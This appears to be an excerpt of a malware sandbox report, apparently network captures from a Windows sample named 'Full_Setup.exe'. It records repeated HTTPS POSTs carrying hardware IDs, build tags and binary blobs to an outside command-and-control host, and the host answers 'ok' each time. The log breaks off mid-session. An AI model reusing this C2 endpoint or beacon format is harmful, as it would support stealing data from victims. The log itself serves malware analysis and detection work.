lNlu9OaLG5gaDsd5QdWngpzuxHDRGVVR1FsNZX6g+IHV+Xj985QEtxoOj24GzeOAnaiQOtkMX1LOEkQrdruq2JjTeuHuhg6aEQ7JcE3er4CU48d2kFAbWMRbG2VXs6vOltZj8PrCFtgOQch9CIzjhJrjzHrcHl9S3AlMIn6xs8uf32/t6YkGkAUNwWNNxrHH36jPYpBGG2nbC1MmO4mu2oPTZeqhnUePVwbDMRCUpYiY68d72RJWWtUeQiN9srL
2024-12-27 19:17:23 UTC	1369	IN	Data Raw: 33 61 63 37 0d 0a 62 51 4a 49 43 41 79 4a 31 2b 4f 43 5a 6d 39 56 75 35 2b 43 4b 41 5a 59 52 43 38 74 79 51 64 65 6b 6a 70 66 6a 79 33 44 66 47 56 31 62 33 42 42 45 4b 33 2b 39 73 39 44 56 6c 69 6a 68 2b 63 4a 52 31 6a 45 69 33 57 4e 36 32 71 43 63 30 66 65 47 59 35 41 5a 56 78 2b 45 57 30 67 74 64 71 71 39 30 4a 33 63 59 65 62 6c 69 41 53 52 46 77 54 43 64 45 7a 61 70 34 43 52 35 4d 64 39 32 42 46 66 58 39 4e 62 44 57 56 2b 6f 50 69 42 31 66 68 6a 38 4d 43 4d 41 6f 52 58 48 6f 46 6f 43 4e 4f 76 78 38 6d 6f 78 6e 50 52 46 6c 56 54 31 42 39 52 4a 58 4b 78 74 39 69 61 32 47 76 6e 36 34 6f 62 6b 42 63 4b 78 33 5a 41 30 4b 32 56 6b 4f 65 49 4e 4a 41 5a 51 78 2b 45 57 33 49 7a 66 72 2b 33 6d 37 7a 66 63 2b 66 72 67 51 4b 61 56 78 36 42 61 41 6a 54 72 38 66 4a Data Ascii: 3ac7bQJICAyJ1+OCZm9Vu5+CKAZYRC8tyQdekjpfjy3DfGV1b3BBEK3+9s9DVlijh+cJR1jEi3WN62qCc0feGY5AZVx+EW0gtdqq90J3cYebliASRFwTCdEzap4CR5Md92BFfX9NbDWV+oPiB1fhj8MCMAoRXHoFoCNOvx8moxnPRFlVT1B9RJXKxt9ia2Gvn64obkBcKx3ZA0K2VkOeINJAZQx+EW3Izfr+3m7zfc+frgQKaVx6BaAjTr8fJ
2024-12-27 19:17:23 UTC	1369	IN	Data Raw: 63 42 46 55 61 63 48 45 39 6c 49 66 69 7a 31 35 44 5a 5a 4f 7a 6d 6a 42 75 58 48 51 33 4f 64 6b 2f 66 73 59 79 44 34 38 42 35 33 68 5a 53 58 39 49 62 51 69 68 35 2b 50 61 5a 6b 73 41 6f 76 71 47 6e 4b 6f 45 42 43 34 31 53 58 38 4b 70 67 4a 33 2b 77 33 76 54 43 46 5a 50 6e 46 55 44 4e 48 36 70 2b 49 47 44 79 48 2f 68 2f 73 77 51 31 68 41 4e 6a 79 6b 49 33 36 79 4a 6e 4f 50 4d 63 39 55 57 57 46 72 5a 45 55 38 70 65 4c 43 78 30 35 44 64 62 75 7a 69 6a 41 61 58 47 77 58 47 66 30 47 55 37 63 65 57 38 49 67 69 6b 43 68 4c 57 4d 51 57 55 32 64 4c 75 36 6e 49 67 4e 56 34 34 4b 4f 74 43 70 6f 55 42 4d 68 68 43 4d 76 74 6e 74 48 76 78 44 71 49 58 6c 74 62 30 42 68 45 4b 33 61 31 74 39 36 65 31 32 4c 6f 38 34 30 4d 6e 68 73 4a 77 6d 4e 43 33 72 47 4f 6d 4f 58 47 63 Data Ascii: cBFUacHE9lIfiz15DZZOzmjBuXHQ3Odk/fsYyD48B53hZSX9IbQih5+PaZksAovqGnKoEBC41SX8KpgJ3+w3vTCFZPnFUDNH6p+IGDyH/h/swQ1hANjykI36yJnOPMc9UWWFrZEU8peLCx05DdbuzijAaXGwXGf0GU7ceW8IgikChLWMQWU2dLu6nIgNV44KOtCpoUBMhhCMvtntHvxDqIXltb0BhEK3a1t96e12Lo840MnhsJwmNC3rGOmOXGc
2024-12-27 19:17:23 UTC	1369	IN	Data Raw: 59 33 77 6c 52 49 33 71 75 75 35 36 72 35 6b 6a 74 39 34 4d 45 6e 52 73 2f 38 57 52 4c 32 71 32 41 68 2f 6d 49 4e 4a 41 52 47 77 66 6c 57 77 74 6c 52 76 62 34 77 64 57 41 4b 4e 50 69 6a 41 65 52 41 52 43 43 55 55 50 43 6f 6f 71 61 35 49 70 37 33 51 35 63 48 35 4a 62 52 57 55 68 36 50 61 5a 6b 63 6b 6f 76 72 48 51 55 73 4e 45 56 70 38 6a 56 35 71 36 78 34 65 6f 6b 43 69 65 58 6b 6b 66 68 46 73 45 4a 6d 75 71 76 74 71 44 32 79 2f 59 33 36 49 43 6d 68 51 4e 7a 6e 59 49 6d 75 4f 49 30 62 44 78 4f 74 4d 4d 53 52 44 4e 44 55 34 31 66 76 53 77 79 4a 6a 55 4b 4b 69 68 7a 67 32 64 47 77 54 49 59 51 66 47 73 34 79 64 2f 6f 52 2b 77 6c 34 56 48 38 30 51 54 44 64 33 76 2f 66 49 67 39 56 34 35 65 53 46 52 5a 34 47 44 4d 4d 78 42 70 53 32 6a 4a 33 75 78 57 2b 66 44 30 Data Ascii: Y3wlRI3quu56r5kjt94MEnRs/8WRL2q2Ah/mINJARGwflWwtlRvb4wdWAKNPijAeRARCCUUPCooqa5Ip73Q5cH5JbRWUh6PaZkckovrHQUsNEVp8jV5q6x4eokCieXkkfhFsEJmuqvtqD2y/Y36ICmhQNznYImuOI0bDxOtMMSRDNDU41fvSwyJjUKKihzg2dGwTIYQfGs4yd/oR+wl4VH80QTDd3v/fIg9V45eSFRZ4GDMMxBpS2jJ3uxW+fD0
2024-12-27 19:17:23 UTC	1369	IN	Data Raw: 55 43 74 79 72 72 2b 5a 71 70 59 6f 2f 71 48 61 53 61 4d 55 44 38 46 32 58 73 58 75 6f 5a 4c 76 7a 6e 6e 65 43 55 6f 66 6b 6c 74 46 5a 53 48 71 39 70 6d 52 79 53 69 2b 73 64 42 53 77 30 52 57 6e 79 4e 58 6d 72 72 48 68 36 69 51 4b 5a 35 65 53 52 2b 45 57 77 51 72 64 4c 6d 37 31 35 62 4b 65 75 44 69 6c 41 72 52 4b 54 2f 71 66 45 58 52 72 59 43 76 31 75 6c 77 77 42 4e 55 57 4f 49 6c 64 44 52 2b 71 50 72 2f 6c 73 35 72 70 71 2f 43 45 64 5a 50 51 65 35 37 57 4e 6d 73 67 4e 47 6d 69 48 36 51 52 68 74 36 30 52 5a 47 4b 33 37 36 6d 64 4f 46 31 57 66 68 6f 63 78 4a 6d 6c 64 5a 6a 33 42 43 78 4b 36 49 6c 71 54 50 59 4e 64 65 46 52 2f 53 57 78 74 6c 65 4c 4b 6f 31 4a 72 66 4a 4f 44 76 6a 45 6d 4a 57 52 69 50 5a 77 69 4d 38 4d 6e 52 2b 6f 67 69 6b 46 6c 56 55 74 30 Data Ascii: UCtyrr+ZqpYo/qHaSaMUD8F2XsXuoZLvznneCUofkltFZSHq9pmRySi+sdBSw0RWnyNXmrrHh6iQKZ5eSR+EWwQrdLm715bKeuDilArRKT/qfEXRrYCv1ulwwBNUWOIldDR+qPr/ls5rpq/CEdZPQe57WNmsgNGmiH6QRht60RZGK376mdOF1WfhocxJmldZj3BCxK6IlqTPYNdeFR/SWxtleLKo1JrfJODvjEmJWRiPZwiM8MnR+ogikFlVUt0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	172.67.204.41	443	7488	C:\Users\user\Desktop\Full_Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:17:25 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1M0FVQNE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18102 Host: invinciblepol.click
2024-12-27 19:17:25 UTC	15331	OUT	Data Raw: 2d 2d 31 4d 30 46 56 51 4e 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 32 35 36 44 30 31 32 32 46 42 41 44 31 37 43 43 46 37 33 35 43 41 43 31 31 43 36 32 44 32 0d 0a 2d 2d 31 4d 30 46 56 51 4e 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 4d 30 46 56 51 4e 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 0d 0a 2d 2d 31 4d 30 46 56 51 4e 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 Data Ascii: --1M0FVQNEContent-Disposition: form-data; name="hwid"3A256D0122FBAD17CCF735CAC11C62D2--1M0FVQNEContent-Disposition: form-data; name="pid"2--1M0FVQNEContent-Disposition: form-data; name="lid"hRjzG3--ZINA--1M0FVQNEContent-Dispositi
2024-12-27 19:17:25 UTC	2771	OUT	Data Raw: cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 5f c9 35 8b 56 2d 7b 91 d7 e9 19 4d Data Ascii: 3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR_5V-{M
2024-12-27 19:17:26 UTC	1136	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 19:17:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rfrbmqnc4tr8dmr1rpk4vm4kdd; expires=Tue, 22 Apr 2025 13:04:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iSQyNs8%2BzYoBcVnO%2BCdlLOxNbI%2BxbgV%2Fnu%2FeKjLPKvTsP1eHsYsotzpkxS1OMy74TcOJPpAIKPB%2Bu9wXUYibaOJ476Umk3aVGtxMwtDEy71Ikw3JIHS68GT7rQnVRk9ikCxiJyKK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8ba6925974c466-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1471&min_rtt=1457&rtt_var=576&sent=11&recv=22&lost=0&retrans=0&sent_bytes=2851&recv_bytes=19057&delivery_rate=1852791&cwnd=219&unsent_bytes=0&cid=f10f4ba40f9d340f&ts=1009&x=0"
2024-12-27 19:17:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 19:17:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	172.67.204.41	443	7488	C:\Users\user\Desktop\Full_Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:17:27 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3I0XJP0MRIHEMZV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8765 Host: invinciblepol.click
2024-12-27 19:17:27 UTC	8765	OUT	Data Raw: 2d 2d 33 49 30 58 4a 50 30 4d 52 49 48 45 4d 5a 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 32 35 36 44 30 31 32 32 46 42 41 44 31 37 43 43 46 37 33 35 43 41 43 31 31 43 36 32 44 32 0d 0a 2d 2d 33 49 30 58 4a 50 30 4d 52 49 48 45 4d 5a 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 33 49 30 58 4a 50 30 4d 52 49 48 45 4d 5a 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 0d 0a 2d 2d 33 49 30 58 4a 50 Data Ascii: --3I0XJP0MRIHEMZVContent-Disposition: form-data; name="hwid"3A256D0122FBAD17CCF735CAC11C62D2--3I0XJP0MRIHEMZVContent-Disposition: form-data; name="pid"2--3I0XJP0MRIHEMZVContent-Disposition: form-data; name="lid"hRjzG3--ZINA--3I0XJP
2024-12-27 19:17:28 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 19:17:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5ddi0jicnkevgld6p9nero9uk4; expires=Tue, 22 Apr 2025 13:04:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fsq3wuho7pDOzbjMPS7gu7VPcKuC7OS6NOv%2BNPeiRCgQKg4Zmsvy3aVetPmnyJLBBYIpyg%2FPot0rlG7jfVPL5dB2v0VT%2FLdVJAXlb%2FcJdyk5pYvHE5woeS3cKPUTiLGBwbuev0PZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8ba6a1d987420a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1677&min_rtt=1671&rtt_var=639&sent=7&recv=13&lost=0&retrans=0&sent_bytes=2851&recv_bytes=9704&delivery_rate=1696687&cwnd=251&unsent_bytes=0&cid=e3fc0a4c72bf250d&ts=805&x=0"
2024-12-27 19:17:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 19:17:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	172.67.204.41	443	7488	C:\Users\user\Desktop\Full_Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:17:29 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LI8NA92UHYP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20394 Host: invinciblepol.click
2024-12-27 19:17:29 UTC	15331	OUT	Data Raw: 2d 2d 4c 49 38 4e 41 39 32 55 48 59 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 32 35 36 44 30 31 32 32 46 42 41 44 31 37 43 43 46 37 33 35 43 41 43 31 31 43 36 32 44 32 0d 0a 2d 2d 4c 49 38 4e 41 39 32 55 48 59 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4c 49 38 4e 41 39 32 55 48 59 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 0d 0a 2d 2d 4c 49 38 4e 41 39 32 55 48 59 50 0d 0a 43 6f 6e 74 65 Data Ascii: --LI8NA92UHYPContent-Disposition: form-data; name="hwid"3A256D0122FBAD17CCF735CAC11C62D2--LI8NA92UHYPContent-Disposition: form-data; name="pid"3--LI8NA92UHYPContent-Disposition: form-data; name="lid"hRjzG3--ZINA--LI8NA92UHYPConte
2024-12-27 19:17:29 UTC	5063	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb b1 Data Ascii: lrQMn 64F6(X&7~`aO@
2024-12-27 19:17:30 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 19:17:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cd0371rnaoev5ch0d74a7vf465; expires=Tue, 22 Apr 2025 13:04:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KW4MRBWHOuw131UCLi5l1BCJtYOGarZabt2ifXf6qSafDiuWEvQpjZaAJZqYQ3t3kaHKbO4%2FM%2BetPlrIlyGxmonsXw0EJdoBGkpuUez8NMV8c0w1Ry1t%2BvP2gLaboSj%2F82VmJ%2F6K"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8ba6af8b10c443-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1879&min_rtt=1557&rtt_var=1229&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2850&recv_bytes=21352&delivery_rate=705654&cwnd=244&unsent_bytes=0&cid=150d5eeb4347f4ee&ts=966&x=0"
2024-12-27 19:17:30 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 19:17:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	172.67.204.41	443	7488	C:\Users\user\Desktop\Full_Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:17:32 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0JLPURD0FKBIQF0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5455 Host: invinciblepol.click
2024-12-27 19:17:32 UTC	5455	OUT	Data Raw: 2d 2d 30 4a 4c 50 55 52 44 30 46 4b 42 49 51 46 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 32 35 36 44 30 31 32 32 46 42 41 44 31 37 43 43 46 37 33 35 43 41 43 31 31 43 36 32 44 32 0d 0a 2d 2d 30 4a 4c 50 55 52 44 30 46 4b 42 49 51 46 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 30 4a 4c 50 55 52 44 30 46 4b 42 49 51 46 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 0d 0a 2d 2d 30 4a 4c 50 55 52 Data Ascii: --0JLPURD0FKBIQF0Content-Disposition: form-data; name="hwid"3A256D0122FBAD17CCF735CAC11C62D2--0JLPURD0FKBIQF0Content-Disposition: form-data; name="pid"1--0JLPURD0FKBIQF0Content-Disposition: form-data; name="lid"hRjzG3--ZINA--0JLPUR
2024-12-27 19:17:33 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 19:17:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cnkir2u9snf67d1nhmihg9uv4v; expires=Tue, 22 Apr 2025 13:04:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hEErQZoZydoOqLplvm1xKze7mlma%2F73qjIinLnExzyZKtrp5o2yf%2BiNZ1zXsro3CpSindF91oQwpcx7asj22%2B0Bzm6uihutAX%2F6HfbIOz9rp1yCdTyjf9pLjK4qyPpuuyF4vtIwO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8ba6c0accef3bb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2957&min_rtt=1648&rtt_var=1553&sent=7&recv=10&lost=0&retrans=0&sent_bytes=2851&recv_bytes=6372&delivery_rate=1771844&cwnd=80&unsent_bytes=0&cid=7428886f05822732&ts=760&x=0"
2024-12-27 19:17:33 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 19:17:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	172.67.204.41	443	7488	C:\Users\user\Desktop\Full_Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:17:34 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ETBZSP8C User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1188 Host: invinciblepol.click
2024-12-27 19:17:34 UTC	1188	OUT	Data Raw: 2d 2d 45 54 42 5a 53 50 38 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 32 35 36 44 30 31 32 32 46 42 41 44 31 37 43 43 46 37 33 35 43 41 43 31 31 43 36 32 44 32 0d 0a 2d 2d 45 54 42 5a 53 50 38 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 45 54 42 5a 53 50 38 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 0d 0a 2d 2d 45 54 42 5a 53 50 38 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 Data Ascii: --ETBZSP8CContent-Disposition: form-data; name="hwid"3A256D0122FBAD17CCF735CAC11C62D2--ETBZSP8CContent-Disposition: form-data; name="pid"1--ETBZSP8CContent-Disposition: form-data; name="lid"hRjzG3--ZINA--ETBZSP8CContent-Dispositi
2024-12-27 19:17:35 UTC	1134	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 19:17:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l42eog9qvta4in5810fh3ac0ks; expires=Tue, 22 Apr 2025 13:04:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YQkNHUMul%2Fz3hjddksi1aLnjk7qnmGXUbzE2uFO%2Bxzskv%2BBLZ3mqLxz9bfxcTf%2BJwTkMlgihnET2cWM2gz8yYB9B0Osl3FpJ2H7%2FVrRtA6yiSrmdyEqxICaGfCnlalOl%2B0ryCm%2FH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8ba6cd7ddb4241-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1777&min_rtt=1774&rtt_var=671&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=2098&delivery_rate=1622222&cwnd=203&unsent_bytes=0&cid=83921e1efedc67df&ts=796&x=0"
2024-12-27 19:17:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 19:17:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	172.67.204.41	443	7488	C:\Users\user\Desktop\Full_Setup.exe

Timestamp	Bytes transferred	Direction	Data
